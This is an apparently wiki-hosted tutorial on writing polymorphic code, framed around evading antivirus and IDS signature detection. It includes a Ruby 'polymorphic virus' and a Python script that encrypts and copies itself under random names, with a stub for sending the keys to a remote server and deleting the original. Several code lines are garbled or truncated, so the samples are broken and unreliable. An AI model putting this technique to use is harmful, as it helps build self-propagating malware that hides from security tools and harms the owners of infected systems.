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Adj. referring to self-modifying code. Did you mean: polymorphic shellcode?

Reasons to write polymorphic code

The main reason to write polymorphic code is to avoid being hashwise identified, or to have code signature detected, i.e. IDS or anti-virus countermeasures may not identify the payload, as it is nicely wrapped-up in its own encrypted form. Another reason is to propagate it to multiple copies without having the same signature. Many legitimate software vendors also produce polymorphic binaries to protect their applications from software cracking and reverse engineering. When writing shellcode, polymorphism is utilized to create ascii shellcode and alphanumeric shellcode due to the restrictive instruction set. To get started with writing polymorphic shellcode, see the introduction to printable 32-bit x86 polymorphic shellcode.

Techniques of polymorphic code writing

  • Define a stackable set of encrypting/decrypting functions, preferrably working with an encryption key. Let's call these sets d and e (decryption / encryption), and let there be two integers n, m, n > m so that d[n](d[n-1](...(d[m](e[n](e[n-1](...e[m](code))...) == code

Savitri says
You can write a single function or pair of functions and have them vary with a series of keys (outputted by a deterministic key generator ideally), as long as your encryption remains revertable.

  • Write the payload code to be dissimulated. At the end of this code put a bootstrap that will decrypt and run the code (in PHP/ruby/perl/whatnot, eval() it, in C, smash the stack with it, in C#, use reflection). At the beginning of the payload code, call for the encryption/duplication code.

Example in ruby

pv.rb (polymorphic virus)

<syntaxhighlight lang="ruby">

  1. !/usr/bin/env ruby1.9.1

if (!defined?(FILE)) FILE=File.basename(__FILE__) end load "md.rb";

  1. require "FileUtils"

def selfCopy(key) code = "" newkey = deterministicKeygen(key);, "r").each_line do

md.rb (utility functions)

<syntaxhighlight lang="ruby"> require 'base64'; if (!defined?(MD_LOADED)) def deterministicKeygen(theKey)

       r =;
       return r.rand(3)+3;

end def mencrypt(str, theKey)

       k = deterministicKeygen(theKey)
       k.times do
               str = Base64.encode64(str)
       return str

end def mdecrypt(str, theKey)

       k = deterministicKeygen(theKey)
       k.times do
               str = Base64.decode64(str)
       return str


MD_LOADED=true end


Example in python

c3el4.png The following example requires pyDes, which can be found Here

#a simple example of a program that replicates and encrypts itself, thus adding a layer of obfuscation / evasion from string matched detectors
#When executed, it executes some code then it generates a new encryption key, encrypts itself and writes it to a new file
#with a randomly generated name [then sends the filename and encryption key to a remote server]
import random
import string
import pyDes
import time
import binascii
#code to execute before self propagation goes here
N = 8 #8 digit key
key = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(N)) #keygen random
obj = pyDes.des(key, pad=b'\0') #generate an object encrypted with key
fd = open('', 'r') #open this file for reading
payload = #load the entire contents into a variable
encrypted = obj.encrypt(payload, pad=b'\0') #encrypt the  payload file
N = 10 # 10 digit file name
filename = ''.join(random.choice(string.ascii_uppercase + string.digits) for x in range(N)) #filename random
new_fd = open(filename, 'w') #create a new file with the filename we just generated. edit this to change directory
encrypted = binascii.b2a_hex(encrypted)
new_fd.write(str(encrypted)) #write the encrypted program to our new file
#put code to securely transmit your filename + key here! you can also put here code to delete the original
RPU0j.png This snippet of code implements the pyDes module, which is a third-party module that implements the DES encryption standard. For more information on third-party modules, see the Python article.
Polymorphic is part of a series on programming.
Polymorphic is part of a series on countermeasures.